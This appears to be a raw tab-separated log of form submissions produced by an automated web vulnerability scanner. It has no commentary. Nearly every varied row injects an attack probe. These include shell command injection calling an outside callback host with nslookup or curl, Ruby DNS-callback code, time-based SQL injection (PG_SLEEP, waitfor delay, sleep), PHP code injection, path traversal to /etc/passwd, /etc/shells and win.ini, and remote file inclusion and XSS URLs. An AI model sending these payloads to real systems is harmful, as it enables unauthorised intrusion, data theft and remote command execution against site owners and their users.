1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitjlzmffsttlc0198.bxss.me||curl${IFS}hitjlzmffsttlc0198.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjlzmffsttlc0198.bxss.me||curl${IFS}hitjlzmffsttlc0198.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	`(nslookup -q=cname hitfsjbyjnnom80884.bxss.me||curl hitfsjbyjnnom80884.bxss.me)`	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup -q=cname hitdcyotezzzs0b613.bxss.me||curl hitdcyotezzzs0b613.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&nslookup -q=cname hitkvdcbuygmf2325e.bxss.me&'\""`0&nslookup -q=cname hitkvdcbuygmf2325e.bxss.me&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	@@0p8dm	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	expr 9000166989 - 922804	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"|echo vqwfaw$()\ hbyllf\nz^xyu||a #' |echo vqwfaw$()\ hbyllf\nz^xyu||a #|"" |echo vqwfaw$()\ hbyllf\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"echo pmjdjy$()\ xeyheb\nz^xyu||a #' &echo pmjdjy$()\ xeyheb\nz^xyu||a #|"" &echo pmjdjy$()\ xeyheb\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1q9pl0UOT') OR 596=(SELECT 596 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	^(#$!@#$)(()))******	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&echo udzatj$()\ buivdd\nz^xyu||a #' &echo udzatj$()\ buivdd\nz^xyu||a #|"" &echo udzatj$()\ buivdd\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'A'.concat(70-3).concat(22*4).concat(103).concat(66).concat(111).concat(84)+(require'socket'
Socket.gethostbyname('hitrb'+'pymgnvve563bb.bxss.me.')[3].to_s)"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	c:/windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	16Cotx0RE' OR 309=(SELECT 309 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitgcofeskchycbe71.bxss.me||curl${IFS}hitgcofeskchycbe71.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;(nslookup -q=cname hithnolpbveom0c5c3.bxss.me||curl hithnolpbveom0c5c3.bxss.me)|(nslookup -q=cname hithnolpbveom0c5c3.bxss.me||curl hithnolpbveom0c5c3.bxss.me)&(nslookup -q=cname hithnolpbveom0c5c3.bxss.me||curl hithnolpbveom0c5c3.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	c:/windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	`(nslookup -q=cname hitapmgakqwomeb69b.bxss.me||curl hitapmgakqwomeb69b.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1) OR 629=(SELECT 629 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(97).concat(82).concat(97).concat(84)+(require'socket'
Socket.gethostbyname('hitnt'+'jvvuwvlx59aee.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 OR 89=(SELECT 89 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1eJLSQ34T'; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	/etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1); waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup -q=cname hitzswexunroe57511.bxss.me||curl hitzswexunroe57511.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	/etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&nslookup -q=cname hitzgjltohckm4920f.bxss.me&'\""`0&nslookup -q=cname hitzgjltohckm4920f.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	file:///etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	expr 9000299314 - 984332	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"|echo hlqnve$()\ larbjy\nz^xyu||a #' |echo hlqnve$()\ larbjy\nz^xyu||a #|"" |echo hlqnve$()\ larbjy\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.print(md5(31337)).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitkcbpvuxhuzfcf9d.bxss.me||curl${IFS}hitkcbpvuxhuzfcf9d.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkcbpvuxhuzfcf9d.bxss.me||curl${IFS}hitkcbpvuxhuzfcf9d.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""";print(md5(31337));$a="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMURTUTYY0Q' OR 598=(SELECT 598 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*ogworg||"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	';print(md5(31337));$a='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)|(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)&(nslookup -q=cname hitxvxosmioxi4bc41.bxss.me||curl hitxvxosmioxi4bc41.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'+'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(117).concat(67)+(require'socket'
Socket.gethostbyname('hitai'+'fkeanrwef4378.bxss.me.')[3].to_s)+'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitbhkphtixzaf6d2a.bxss.me||curl hitbhkphtixzaf6d2a.bxss.me)`	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+""A"".concat(70-3).concat(22*4).concat(103).concat(77).concat(105).concat(74)+(require""socket""
Socket.gethostbyname(""hitdi""+""koxatizr3f6e6.bxss.me."")[3].to_s)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*if(now()=sysdate(),sleep(15),0)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitfmxmhrmkakfdf28.bxss.me||curl hitfmxmhrmkakfdf28.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*cldrzn&&'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitxrehbrayca75894.bxss.me&'\""`0&nslookup -q=cname hitxrehbrayca75894.bxss.me&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitenjfwwtqztab06c.bxss.me||curl hitenjfwwtqztab06c.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	19288439	1	1	1	1
1	1	"'A'.concat(70-3).concat(22*4).concat(122).concat(77).concat(116).concat(78)+(require'socket'
Socket.gethostbyname('hitfd'+'aogmdzet60034.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000325890 - 971918	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(103).concat(74).concat(102).concat(67)+(require'socket'
Socket.gethostbyname('hitra'+'mfyqegyla7a41.bxss.me.')[3].to_s)"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	!(()&&!|*|*|	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&echo rggasy$()\ afwjiu\nz^xyu||a #' &echo rggasy$()\ afwjiu\nz^xyu||a #|"" &echo rggasy$()\ afwjiu\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(118).concat(69).concat(105).concat(73)+(require'socket'
Socket.gethostbyname('hitmm'+'pkhnmrfg842a7.bxss.me.')[3].to_s)+'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(99).concat(82).concat(120).concat(82)+(require""socket""
Socket.gethostbyname(""hitfg""+""gnsulijc2c187.bxss.me."")[3].to_s)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102&n916837=v920320	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU&n920073=v929188	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""".gethostbyname(lc(""hitgn"".""cxskzdbs1dd69.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(121).chr(76).chr(114).chr(90)."""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&echo njkcch$()\ tenwpj\nz^xyu||a #' &echo njkcch$()\ tenwpj\nz^xyu||a #|"" &echo njkcch$()\ tenwpj\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1&n921510=v969677	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'A'.concat(70-3).concat(22*4).concat(112).concat(90).concat(111).concat(74)+(require'socket'
Socket.gethostbyname('hitxn'+'ztxshhpd397d1.bxss.me.')[3].to_s)"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1&n975512=v958551	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	HttP://bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(118).concat(80).concat(99).concat(87)+(require'socket'
Socket.gethostbyname('hitzh'+'ntobknnb70756.bxss.me.')[3].to_s)+'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(116).concat(65).concat(104).concat(77)+(require""socket""
Socket.gethostbyname(""hittm""+""osgvyxco61619.bxss.me."")[3].to_s)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=26 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(120).concat(73).concat(100).concat(68)+(require'socket'
Socket.gethostbyname('hitax'+'msvqpszifa983.bxss.me.')[3].to_s)"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1 OR 5*5=25 -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(105).concat(74).concat(114).concat(66)+(require'socket'
Socket.gethostbyname('hittt'+'wxysffuk7ae4f.bxss.me.')[3].to_s)+'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU&n989250=v960990	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1&n915071=v980160	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.print(md5(31337)).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""";print(md5(31337));$a="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU&n924486=v913821	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	VDhVMnVhbFI=	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"|echo mlxpeq$()\ mcvugx\nz^xyu||a #' |echo mlxpeq$()\ mcvugx\nz^xyu||a #|"" |echo mlxpeq$()\ mcvugx\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://bxss.me/t/fit.txt%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	Http://bxss.me/t/fit.txt	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
